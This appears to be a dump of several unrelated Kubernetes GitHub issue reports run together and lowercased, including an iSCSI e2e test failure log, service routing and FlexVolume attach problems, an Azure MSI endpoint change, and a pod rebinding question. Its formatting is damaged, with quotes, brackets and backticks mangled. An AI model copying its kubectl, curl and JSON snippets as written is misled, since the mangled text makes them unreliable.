/var/run/kubernetes/admin.kubeconfig\r step: building a namespace api object\r dec  1 17:32:10.493: info: no podsecuritypolicies found; assuming podsecuritypolicy is disabled.\r step: waiting for a default service account to be provisioned in namespace\r  beforeeach   sig-storage  volume plugin streaming  slow \r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/volume_io.go:251\r  beforeeach  iscsi  feature:volumes \r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/volume_io.go:344\r step: creating iscsi-server pod\r step: locating the \ iscsi-server\  server pod\r dec  1 17:32:24.514: info: iscsi server pod ip address: 172.17.0.3\r  it  should write files of various sizes, verify size, validate content\r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/volume_io.go:364\r step: starting iscsi-io-client\r step: writing 1048576 bytes to test file /opt/iscsi/e2e-tests-volume-io-77lbr/iscsi_io_test-1048576\r dec  1 17:32:50.520: info: running '/opt/go/src/k8s.io/kubernetes/_output/dockerized/bin/linux/amd64/kubectl --server=https://localhost:6443/ --kubeconfig=/var/run/kubernetes/admin.kubeconfig exec --namespace=e2e-tests-volume-io-77lbr iscsi-io-client -- /bin/sh -c i=0; while   $i -lt 1  ; do dd if=/opt/iscsi/e2e-tests-volume-io-77lbr/dd_if bs=1048576 >>/opt/iscsi/e2e-tests-volume-io-77lbr/iscsi_io_test-1048576 2>/dev/null; let i+=1; done'\r dec  1 17:32:50.718: info: stderr: \ \ \r step: verifying file size\r dec  1 17:32:50.718: info: running '/opt/go/src/k8s.io/kubernetes/_output/dockerized/bin/linux/amd64/kubectl --server=https://localhost:6443/ --kubeconfig=/var/run/kubernetes/admin.kubeconfig exec --namespace=e2e-tests-volume-io-77lbr iscsi-io-client -- /bin/sh -c stat -c %s /opt/iscsi/e2e-tests-volume-io-77lbr/iscsi_io_test-1048576'\r dec  1 17:32:50.943: info: stderr: \ \ \r step: deleting client pod \ iscsi-io-client\ ...\r dec  1 17:32:50.943: info: deleting pod \ iscsi-io-client\  in namespace \ e2e-tests-volume-io-77lbr\ \r dec  1 17:32:50.945: info: wait up to 5m0s for pod \ iscsi-io-client\  to be fully deleted\r  aftereach  iscsi  feature:volumes \r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/volume_io.go:358\r dec  1 17:34:16.949: info: aftereach: deleting iscsi server pod \ iscsi-server\ ...\r dec  1 17:34:16.949: info: deleting pod \ iscsi-server\  in namespace \ e2e-tests-volume-io-77lbr\ \r dec  1 17:34:16.950: info: wait up to 5m0s for pod \ iscsi-server\  to be fully deleted\r  aftereach   sig-storage  volume plugin streaming  slow \r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:135\r step: collecting events from namespace \ e2e-tests-volume-io-77lbr\ .\r step: found 20 events.\r dec  1 17:34:26.962: info: at 2017-12-01 17:32:10 -0500 est - event for iscsi-server: {kubelet 127.0.0.1} successfulmountvolume: mountvolume.setup succeeded for volume \ default-token-54ncr\  \r dec  1 17:34:26.962: info: at 2017-12-01 17:32:10 -0500 est - event for iscsi-server: {kubelet 127.0.0.1} successfulmountvolume: mountvolume.setup succeeded for volume \ path0\  \r dec  1 17:34:26.962: info: at 2017-12-01 17:32:10 -0500 est - event for iscsi-server: {default-scheduler } scheduled: successfully assigned iscsi-server to 127.0.0.1\r dec  1 17:34:26.962: info: at 2017-12-01 17:32:11 -0500 est - event for iscsi-server: {kubelet 127.0.0.1} pulling: pulling image \ gcr.io/google_containers/volume-iscsi:0.1\ \r dec  1 17:34:26.962: info: at 2017-12-01 17:32:22 -0500 est - event for iscsi-server: {kubelet 127.0.0.1} created: created container\r dec  1 17:34:26.962: info: at 2017-12-01 17:32:22 -0500 est - event for iscsi-server: {kubelet 127.0.0.1} pulled: successfully pulled image \ gcr.io/google_containers/volume-iscsi:0.1\ \r dec  1 17:34:26.962: info: at 2017-12-01 17:32:23 -0500 est - event for iscsi-server: {kubelet 127.0.0.1} started: started container\r dec  1 17:34:26.962: info: at 2017-12-01 17:32:24 -0500 est - event for iscsi-io-client: {kubelet 127.0.0.1} successfulmountvolume: mountvolume.setup succeeded for volume \ default-token-54ncr\  \r dec  1 17:34:26.962: info: at 2017-12-01 17:32:24 -0500 est - event for iscsi-io-client: {default-scheduler } scheduled: successfully assigned iscsi-io-client to 127.0.0.1\r dec  1 17:34:26.962: info: at 2017-12-01 17:32:41 -0500 est - event for iscsi-io-client: {kubelet 127.0.0.1} pulling: pulling image \ busybox\ \r dec  1 17:34:26.962: info: at 2017-12-01 17:32:41 -0500 est - event for iscsi-io-client: {kubelet 127.0.0.1} successfulmountvolume: mountvolume.setup succeeded for volume \ iscsi-io-volume\  \r dec  1 17:34:26.962: info: at 2017-12-01 17:32:45 -0500 est - event for iscsi-io-client: {kubelet 127.0.0.1} started: started container\r dec  1 17:34:26.962: info: at 2017-12-01 17:32:45 -0500 est - event for iscsi-io-client: {kubelet 127.0.0.1} pulled: successfully pulled image \ busybox\ \r dec  1 17:34:26.962: info: at 2017-12-01 17:32:45 -0500 est - event for iscsi-io-client: {kubelet 127.0.0.1} pulling: pulling image \ busybox\ \r dec  1 17:34:26.962: info: at 2017-12-01 17:32:45 -0500 est - event for iscsi-io-client: {kubelet 127.0.0.1} created: created container\r dec  1 17:34:26.962: info: at 2017-12-01 17:32:48 -0500 est - event for iscsi-io-client: {kubelet 127.0.0.1} created: created container\r dec  1 17:34:26.962: info: at 2017-12-01 17:32:48 -0500 est - event for iscsi-io-client: {kubelet 127.0.0.1} pulled: successfully pulled image \ busybox\ \r dec  1 17:34:26.962: info: at 2017-12-01 17:32:49 -0500 est - event for iscsi-io-client: {kubelet 127.0.0.1} started: started container\r dec  1 17:34:26.962: info: at 2017-12-01 17:33:21 -0500 est - event for iscsi-io-client: {kubelet 127.0.0.1} killing: killing container with id docker://iscsi-io-client:need to kill pod\r dec  1 17:34:26.962: info: at 2017-12-01 17:34:18 -0500 est - event for iscsi-server: {kubelet 127.0.0.1} killing: killing container with id docker://iscsi-server:need to kill pod\r dec  1 17:34:26.966: info: pod                        node       phase    grace  conditions\r dec  1 17:34:26.966: info: kube-dns-6c857864fb-6mn6s  127.0.0.1  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-12-01 16:56:17 -0500 est  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-12-01 16:56:22 -0500 est  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-12-01 16:56:16 -0500 est  } \r dec  1 17:34:26.966: info: \r dec  1 17:34:26.967: info: \r logging node info for node 127.0.0.1\r dec  1 17:34:26.968: info: node info: &node{objectmeta:k8s_io_apimachinery_pkg_apis_meta_v1.objectmeta{name:127.0.0.1,generatename:,namespace:,selflink:/api/v1/nodes/127.0.0.1,uid:6e72632a-d6e2-11e7-a266-525400645a80,resourceversion:2810,generation:0,creationtimestamp:2017-12-01 16:56:06 -0500 est,deletiontimestamp:<nil>,deletiongraceperiodseconds:nil,labels:map string string{beta.kubernetes.io/arch: amd64,beta.kubernetes.io/os: linux,kubernetes.io/hostname: 127.0.0.1,},annotations:map string string{node.alpha.kubernetes.io/ttl: 0,volumes.kubernetes.io/controller-managed-attach-detach: true,volumes.kubernetes.io/keep-terminated-pod-volumes: true,},ownerreferences:  ,finalizers:  ,clustername:,initializers:nil,},spec:nodespec{podcidr:,externalid:127.0.0.1,providerid:,unschedulable:false,taints:  ,configsource:nil,},status:nodestatus{capacity:resourcelist{cpu: {{5 0} {<nil>} 5 decimalsi},memory: {{16824160256 0} {<nil>} 16429844ki binarysi},pods: {{110 0} {<nil>} 110 decimalsi},},allocatable:resourcelist{cpu: {{5 0} {<nil>} 5 decimalsi},memory: {{16719302656 0} {<nil>} 16327444ki binarysi},pods: {{110 0} {<nil>} 110 decimalsi},},phase:,conditions: {outofdisk false 2017-12-01 17:34:24 -0500 est 2017-12-01 16:56:06 -0500 est kubelethassufficientdisk kubelet has sufficient disk space available} {memorypressure false 2017-12-01 17:34:24 -0500 est 2017-12-01 16:56:06 -0500 est kubelethassufficientmemory kubelet has sufficient memory available} {diskpressure false 2017-12-01 17:34:24 -0500 est 2017-12-01 16:56:06 -0500 est kubelethasnodiskpressure kubelet has no disk pressure} {ready true 2017-12-01 17:34:24 -0500 est 2017-12-01 16:56:16 -0500 est kubeletready kubelet is posting ready status} ,addresses: {internalip 127.0.0.1} {hostname 127.0.0.1} ,daemonendpoints:nodedaemonendpoints{kubeletendpoint:daemonendpoint{port:10250,},},nodeinfo:nodesysteminfo{machineid:7f31c6d4588e4d598da460999674125f,systemuuid:b74421de-d09c-4610-9d32-3a36d3b399b9,bootid:9ec8b1a2-8196-46b8-b169-5c1498a7cb54,kernelversion:4.13.8-100.fc25.x86_64,osimage:fedora 25  workstation edition ,containerruntimeversion:docker://1.12.6,kubeletversion:v1.10.0-alpha.0.734+76ba46135f0f73-dirty,kubeproxyversion:v1.10.0-alpha.0.734+76ba46135f0f73-dirty,operatingsystem:linux,architecture:amd64,},images: { kube-build:build-23f9a57047-5-v1.9.2-1  2184703643} { gcr.io/google_containers/kube-cross@sha256:24dfcde44bb6c6d612b29a090daffaabd80dd0168cb24e37e5e2d76f6d133a04 gcr.io/google_containers/kube-cross:v1.9.2-1  1738132234} { gcr.io/google_containers/volume-iscsi@sha256:b9733de0d3733190fab5a9bfa718329ed9f737d3981626b7b29326aee9d00c30 gcr.io/google_containers/volume-iscsi:0.1  244433376} { gcr.io/google_containers/k8s-dns-kube-dns-amd64@sha256:f5bddc71efe905f4e4b96f3ca346414be6d733610c1525b98fff808f93966680 gcr.io/google_containers/k8s-dns-kube-dns-amd64:1.14.7  50270536} { gcr.io/google_containers/k8s-dns-sidecar-amd64@sha256:f80f5f9328107dc516d67f7b70054354b9367d31d4946a3bffd3383d83d7efe8 gcr.io/google_containers/k8s-dns-sidecar-amd64:1.14.7  42028742} { gcr.io/google_containers/k8s-dns-dnsmasq-nanny-amd64@sha256:6cfb9f9c2756979013dbd3074e852c2d8ac99652570c5d17d152e0c0eb3321d6 gcr.io/google_containers/k8s-dns-dnsmasq-nanny-amd64:1.14.7  40947480} { docker.io/busybox@sha256:bbc3a03235220b170ba48a157dd097dd1379299370e1ed99ce976df0355d24f0 docker.io/busybox:1.27 docker.io/busybox:latest  1129289} { gcr.io/google_containers/pause-amd64@sha256:163ac025575b775d1c0f9bf0bdd0f086883171eb475b5068e7defa4ca9e76516 gcr.io/google_containers/pause-amd64:3.0  746888} ,volumesinuse:  ,volumesattached:  ,},}\r dec  1 17:34:26.969: info: \r logging kubelet events for node 127.0.0.1\r dec  1 17:34:26.970: info: \r logging pods the kubelet thinks is on node 127.0.0.1\r dec  1 17:34:26.980: info: kube-dns-6c857864fb-6mn6s started at 2017-12-01 16:56:17 -0500 est  0+3 container statuses recorded \r dec  1 17:34:26.980: info: \tcontainer dnsmasq ready: true, restart count 0\r dec  1 17:34:26.980: info: \tcontainer kubedns ready: true, restart count 0\r dec  1 17:34:26.980: info: \tcontainer sidecar ready: true, restart count 0\r w1201 17:34:26.983613   31101 metrics_grabber.go:81  master node is not registered. grabbing metrics from scheduler, controllermanager and clusterautoscaler is disabled.\r dec  1 17:34:26.998: info: \r latency metrics for node 127.0.0.1\r dec  1 17:34:26.998: info: {operation:stop_container method:docker_operations_latency_microseconds quantile:0.99 latency:30.095992s}\r dec  1 17:34:26.998: info: {operation: method:pod_start_latency_microseconds quantile:0.99 latency:16.856455s}\r step: dumping a list of prepulled images on each node...\r dec  1 17:34:27.000: info: waiting up to 3m0s for all  but 0  nodes to be ready\r step: destroying namespace \ e2e-tests-volume-io-77lbr\  for this suite.\r dec  1 17:34:33.007: info: waiting up to 30s for server preferred namespaced resources to be successfully discovered\r dec  1 17:34:33.025: info: namespace: e2e-tests-volume-io-77lbr, resource: bindings, ignored listing per whitelist\r dec  1 17:34:33.068: info: namespace e2e-tests-volume-io-77lbr deletion completed in 6.066125201s\r \r • failure  142.593 seconds \r  sig-storage  volume plugin streaming  slow \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/framework.go:22\r   iscsi  feature:volumes \r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/volume_io.go:341\r     should write files of various sizes, verify size, validate content  it \r     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/volume_io.go:364\r \r     expected error:\r         < errors.errorstring | 0xc420c81440>: {\r             s: \ size of file /opt/iscsi/e2e-tests-volume-io-77lbr/iscsi_io_test-1048576 is 0, expected 1048576\ ,\r         }\r         size of file /opt/iscsi/e2e-tests-volume-io-77lbr/iscsi_io_test-1048576 is 0, expected 1048576\r     not to have occurred\r \r     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/volume_io.go:371\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r - start k8s using local cluster,\r allow_privileged=true allow_security_context=true hack/local-up-cluster.sh \r \r - then run e2e\r kubernetes_provider=centos kubernetes_conformance_test=y hack/ginkgo-e2e.sh --ginkgo.focus=iscsi\r \r   anything else we need to know?  :\r  \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-alpha.0.745+db2977fb11fee4-dirty\ , gitcommit:\ db2977fb11fee4c2d3a362d003c76903ea50633c\ , gittreestate:\ dirty\ , builddate:\ 2017-12-01t23:21:59z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-alpha.0.745+db2977fb11fee4-dirty\ , gitcommit:\ db2977fb11fee4c2d3a362d003c76903ea50633c\ , gittreestate:\ dirty\ , builddate:\ 2017-12-01t23:21:59z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - os  e.g. from /etc/os-release : fedora 25\r - install tools: local-up-cluster.sh

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r after replacement by deployment of a pod which is the only endpoint for a service, the service stopped serving traffic to and from the endpoint. the service was used by one other pod. the issue resolved itself after 2 hours or trying to use the service from some other pods then the one that had the original connection problems  ? .\r \r   what you expected to happen  :\r \r service still serving from the endpoint, as pod is replaced by deployment.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i don't know, we have problems with this one particular service and pod, but everything else seems to be working in order, including virtually identical configurations for other tiers of our services. it's not the first time the service cannot reach the endpoint pod after endpoint pod restart.\r \r   anything else we need to know?  :\r the service dns name is resolvable, the service is not usable by it's ip address, but the endpoint pod is working fine when using it's ip directly.\r \r    \r ~ $ kubectl exec -ti  kubectl get pod -l \ name=canary-samus-varnish\  -o name | sed -e 's%pods?/%%' | tail -n 1  -- bash\r root@canary-samus-varnish-7cb56f97c6-5cnzp:/  host canary-kabuto                                                                                                                                                  \r canary-kabuto.default.svc.cluster.local has address 10.0.121.77\r root@canary-samus-varnish-7cb56f97c6-5cnzp:/  curl -sl http://canary-kabuto/ \r ^c  timeout \r root@canary-samus-varnish-7cb56f97c6-5cnzp:/  curl -sl http://10.0.121.77/  \r ^c  timeout \r root@canary-samus-varnish-7cb56f97c6-5cnzp:/  curl -sl http://10.240.0.66/\r <!doctype html><html><body>hello world!</body></html>\r    \r \r service metadata from kubectl:\r    \r ~ $ kubectl get service canary-kabuto\r name            type        cluster-ip    external-ip   port s    age\r canary-kabuto   clusterip   10.0.121.77   <none>        80/tcp    5d\r \r ~ $ kubectl get endpoints canary-kabuto\r name            endpoints        age\r canary-kabuto   10.240.0.66:80   5d\r    \r \r both pods  the pod behind service, and one that's trying to use that service  are by chance on the same node:\r    \r ~ $ kubectl describe pod canary-samus-varnish-7cb56f97c6-5cnzp | grep node\r node:           k8s-agent-10531284-1/10.240.0.65\r node-selectors:  <none>\r \r ~ $ kubectl describe pod canary-kabuto-6bc965c4fb-v2l8t | grep node\r node:           k8s-agent-10531284-1/10.240.0.65\r node-selectors:  <none>\r    \r \r node's iptables pertaining to the service look fine to me:\r    \r root@k8s-agent-10531284-1:~  iptables-save | grep canary-kabuto\r -a kube-sep-cg6cx7olhu57f3ex -s 10.240.0.66/32 -m comment --comment \ default/canary-kabuto:http\  -j kube-mark-masq\r -a kube-sep-cg6cx7olhu57f3ex -p tcp -m comment --comment \ default/canary-kabuto:http\  -m tcp -j dnat --to-destination 10.240.0.66:80\r -a kube-services ! -s 10.240.0.0/12 -d 10.0.121.77/32 -p tcp -m comment --comment \ default/canary-kabuto:http cluster ip\  -m tcp --dport 80 -j kube-mark-masq\r -a kube-services -d 10.0.121.77/32 -p tcp -m comment --comment \ default/canary-kabuto:http cluster ip\  -m tcp --dport 80 -j kube-svc-mmlusw4qs4zmipko\r -a kube-svc-mmlusw4qs4zmipko -m comment --comment \ default/canary-kabuto:http\  -j kube-sep-cg6cx7olhu57f3ex\r    \r \r issue resolved itself as i was trying to check for the sake of this issue report, if the same service behaviour can be observed from other pods/nodes. not only service is behaving as expected on other nodes and pods, after using it from other pods it started working on the originally affected pod. i'm not sure if there is causation there, as i was not testing for a few minutes prior. that happened roughly 2 hours from the onset of the problem.\r \r outputs above were gathered as issue was ongoing, and i did not try to actively resolve the issue by changing configuration, restarting pods or services etc.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t19:48:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:17:43z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: \r azure, dsv2 vms\r - os  e.g. from /etc/os-release :\r ubuntu 16.04.3 lts\r - kernel  e.g.  uname -a  :\r linux k8s-agent-10531284-1 4.13.0-1007-azure  9-ubuntu smp thu jan 25 10:47:32 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r acs engine, run from local machine, to have k8s 1.8.4 and managed disks\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r i have deployed a kubernetes cluster with 3 nodes, 1 for master and 2 for slave, and with --enable-controller-attach-detach=true. and then, i have installed my own flexvolume plugin on each node. \r when kubelet of each node started, it probed the plugin and called 'init' with following response:\r    \r mar 30 03:33:32 k8s-test-9e3205ee82-0 myflex 19098 : time=\ 2018-03-30t03:33:32z\  level=info msg=\ starting up with args..\  args=\  /usr/libexec/kubernetes/kubelet-plugins/volume/exec/my~flex/.my-flex\r mar 30 03:33:32 k8s-test-9e3205ee82-0 myflex 19098 : time=\ 2018-03-30t03:33:32z\  level=info msg=\ flex api: init\ \r mar 30 03:33:32 k8s-test-9e3205ee82-0 myflex 19098 : time=\ 2018-03-30t03:33:32z\  level=info msg=\ flex api response to init\  response=\ {\\\ status\\\ :\\\ success\\\ ,\\\ capabilities\\\ :{\\\ attach\\\ :true}}\ \r    \r \r on the master node, the plugin has been loaded successfully with following log:\r    \r mar 30 03:33:32 k8s-test-9e3205ee82-0 kubelet 18953 : i0330 03:33:32.730942   18953 plugins.go:436  loaded volume plugin \ flexvolume-my/flex\ \r    \r \r and then, i have successfully created a pvc/pv of pvc-c233d80d-33cb-11e8-a4c7-aa00c725b885 through myflex plugin, and the pv has the correct flexvolume.drive set as below:\r    \r   spec:\r     accessmodes:\r     - readwriteonce\r     capacity:\r       storage: 10gi\r    flexvolume:\r       driver: my/flex\r       fstype: ext4\r       options:\r         volumename: pvc-c233d80d-33cb-11e8-a4c7-aa00c725b885\r     \r \r then, i have created a pod which would mount the above pvc. the pod has been assigned to one of slave node of k8s-test-9e3205ee82-1 where i could find the 'getvolumename' call was successful as below:\r    \r mar 30 03:23:13 k8s-test-9e3205ee82-1 myflex 5333 : time=\ 2018-03-30t03:23:13z\  level=info msg=\ flex api: getvolumename\  args=\  {\\\ kubernetes.io/fstype\\\ :\\\ ext4\\\ ,\\\ kubernetes.io/pvorvolumename\\\ :\\\ pvc-d93343c7-33c3-11e8-a4c7-aa00c725b885\\\ ,\\\ kubernetes.io/readwrite\\\ :\\\ rw\\\ ,\\\ volumename\\\ :\\\ pvc-d93343c7-33c3-11e8-a4c7-aa00c725b885\\\ } \ \r mar 30 03:23:13 k8s-test-9e3205ee82-1 myflex 5333 : time=\ 2018-03-30t03:23:13z\  level=info msg=\ flex api response to getvolumename\  response=\ {\\\ status\\\ :\\\ success\\\ ,\\\ volumename\\\ :\\\ pvc-d93343c7-33c3-11e8-a4c7-aa00c725b885\\\ }\  \r    \r however, i couldn't find any log for the following 'attach' call from myflex plugin on any node including master and slaves. it supposed to be executed on the master node. so, the pod run into the status of containercreating. and i found the following logs from the node hosting the pod:\r    \r mar 30 03:25:03 k8s-test-9e3205ee82-1 kubelet 1980 : e0330 03:25:03.656085    1980 nestedpendingoperations.go:264  operation for \ \\\ flexvolume-my/flex/pvc-d93343c7-33c3-11e8-a4c7-aa00c725b885\\\ \  failed. no retries permitted until 2018-03-30 03:27:05.656061618 +0000 utc  durationbeforeretry 2m2s . error: volume not attached according to node status for volume \ pvc-d93343c7-33c3-11e8-a4c7-aa00c725b885\   uniquename: \ flexvolume-my/flex/pvc-d93343c7-33c3-11e8-a4c7-aa00c725b885\   pod \ nginx\   uid: \ ec3aef0e-33c3-11e8-a4c7-aa00c725b885\  \r    \r \r   what you expected to happen  :\r 1. according to my understanding, after 'getvolumename' call succeeded on the slave node assigned to the pod, it is expected the 'attach' call should be executed on the master node.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r 1. with kubernetes v1.8.10, is it still required to set '--enable-controller-attach-detach=true' to enable it?\r 2. where is the code for triggering 'attach/detach' calls from master node?\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t21:07:38z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r \r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.10\ , gitcommit:\ 044cd262c40234014f01b40ed7b9d09adbafe9b1\ , gittreestate:\ clean\ , builddate:\ 2018-03-19t17:44:09z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - deployment:\r    \r cluster: 3 nodes  master: 1; slave: 2 \r    \r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 16.04.3 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.3 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r    \r linux k8s-test-9e3205ee82-0 4.4.0-97-generic  120-ubuntu smp tue sep 19 17:28:18 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r    \r apt-get install -y kubectl=1.8  kubelet=1.8  kubeadm=1.8 \r    \r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >   \r \r   what happened  :\r \r  azure msi  https://docs.microsoft.com/en-us/azure/active-directory/managed-service-identity/overview  is moving to instance metadata  the new endpoint is  http://169.254.169.254/metadata/identity/oauth2/token  . \r \r azure cloud provider is reading msi endpoint from  /var/lib/waagent/managedidentity-settings   which is called vm extension endpoint . its content is always  http://localhost:50342  and won't be updated to metadata endpoint even after vm extension endpoint deprecated. we need to figure out how to patch kubernetes releases for it:\r \r - master branch: azure go sdk need to update first and then update kubernetes vendors\r - old releases  e.g. 1.10, 1.9 and 1.8 :  unfortunately, those releases are using a beta version of azure go sdk and it will not release new patches. we need to figure out other ways to fix it\r \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

hi, is there a way i can re-schedule a running pod to another worker node?\r currently i get \ conflict\  when i try to binding a running pod to another node:\r \r    \r $ curl -k -h \ content-type:application/json\  -x post -d '{\ apiversion\ :\ v1\ , \ kind\ : \ binding\ , \ metadata\ : {\ name\ : \ hello-test\ }, \ target\ : {\ apiversion\ : \ v1\ , \ kind\ : \ node\ , \ name\ : \ k8s-node-02\ }}'  --cert apiserver-kubelet-client.crt --key apiserver-kubelet-client.key https://k8s-101:6443/api/v1/namespaces/test-branch/pods/hello-test/binding\r \r {\r   \ kind\ : \ status\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {\r     \r   },\r   \ status\ : \ failure\ ,\r   \ message\ : \ operation cannot be fulfilled on pods/binding \\\ hello-test\\\ : pod hello-test is already assigned to node \\\ k8s-node-01\\\ \ ,\r   \ reason\ : \ conflict\ ,\r   \ details\ : {\r     \ name\ : \ hello-test\ ,\r     \ kind\ : \ pods/binding\ \r   },\r   \ code\ : 409\r } \r    \r re-create the pod during the re-schedule process is accepted, how can i work around it? thanks.\r \r <!-- do not edit below this line -->\r \r /triage support\r \r

according to doc: http://kubernetes.io/docs/user-guide/federation/federated-services/ handling-failures-of-backend-pods-and-whole-clusters \ due to the latency inherent in dns caching  the cache timeout, or ttl for federated service dns records is configured to 3 minutes, by default, but can be adjusted \   currently, the federation dns ttl seems to be fixed at 180 seconds. what's the right way to adjust it?

hey,  we have a 4 node gke cluster using n1-standard-4  4 vcpus, 15 gb memory  vm instances. the master is running version 1.4.3 and the nodes are running 1.4.0.  our project name on google cloud is ahead4-141515 and our gke cluster is called ahead4  one of our nodes is constantly changing to \ nodenotready\  status which is causing our nginx ingress load balancer to show 503 errors for sites we're using in pods.  here is some output from describing the node:      allocated resources:    total limits may be over 100 percent, i.e., overcommitted.   cpu requests  cpu limits      memory requests         memory limits   ------------  ----------      ---------------         -------------   2688m  67%    238m  5%        10519528ki  68%         558056ki  3%  events:   firstseen     lastseen        count   from                                            subobjectpath   type            reason                  message   ---------     --------        -----   ----                                            -------------   --------        ------                  -------   49m           49m             1       {kubelet gke-ahead4-default-pool-a5a401be-bqhh}                 normal          starting                starting kubelet.   49m           49m             2       {kubelet gke-ahead4-default-pool-a5a401be-bqhh}                 normal          nodehassufficientdisk   node gke-ahead4-default-pool-a5a401be-bqhh status is now: nodehassufficientdisk   49m           49m             1       {kubelet gke-ahead4-default-pool-a5a401be-bqhh}                 normal          nodehassufficientmemory node gke-ahead4-default-pool-a5a401be-bqhh status is now: nodehassufficientmemory   49m           49m             1       {kubelet gke-ahead4-default-pool-a5a401be-bqhh}                 normal          nodehasnodiskpressure   node gke-ahead4-default-pool-a5a401be-bqhh status is now: nodehasnodiskpressure   49m           49m             1       {kubelet gke-ahead4-default-pool-a5a401be-bqhh}                 normal          nodenotready            node gke-ahead4-default-pool-a5a401be-bqhh status is now: nodenotready   49m           49m             1       {kubelet gke-ahead4-default-pool-a5a401be-bqhh}                 normal          nodeready               node gke-ahead4-default-pool-a5a401be-bqhh status is now: nodeready   13m           13m             1       {kubelet gke-ahead4-default-pool-a5a401be-bqhh}                 normal          starting                starting kubelet.   13m           13m             1       {kubelet gke-ahead4-default-pool-a5a401be-bqhh}                 normal          nodehassufficientmemory node gke-ahead4-default-pool-a5a401be-bqhh status is now: nodehassufficientmemory   13m           13m             1       {kubelet gke-ahead4-default-pool-a5a401be-bqhh}                 normal          nodehasnodiskpressure   node gke-ahead4-default-pool-a5a401be-bqhh status is now: nodehasnodiskpressure   13m           13m             2       {kubelet gke-ahead4-default-pool-a5a401be-bqhh}                 normal          nodehassufficientdisk   node gke-ahead4-default-pool-a5a401be-bqhh status is now: nodehassufficientdisk   13m           13m             1       {kubelet gke-ahead4-default-pool-a5a401be-bqhh}                 normal          nodenotready            node gke-ahead4-default-pool-a5a401be-bqhh status is now: nodenotready   13m           13m             1       {kubelet gke-ahead4-default-pool-a5a401be-bqhh}                 normal          nodeready               node gke-ahead4-default-pool-a5a401be-bqhh status is now: nodeready   11m           11m             1       {kubelet gke-ahead4-default-pool-a5a401be-bqhh}                 normal          nodenotschedulable      node 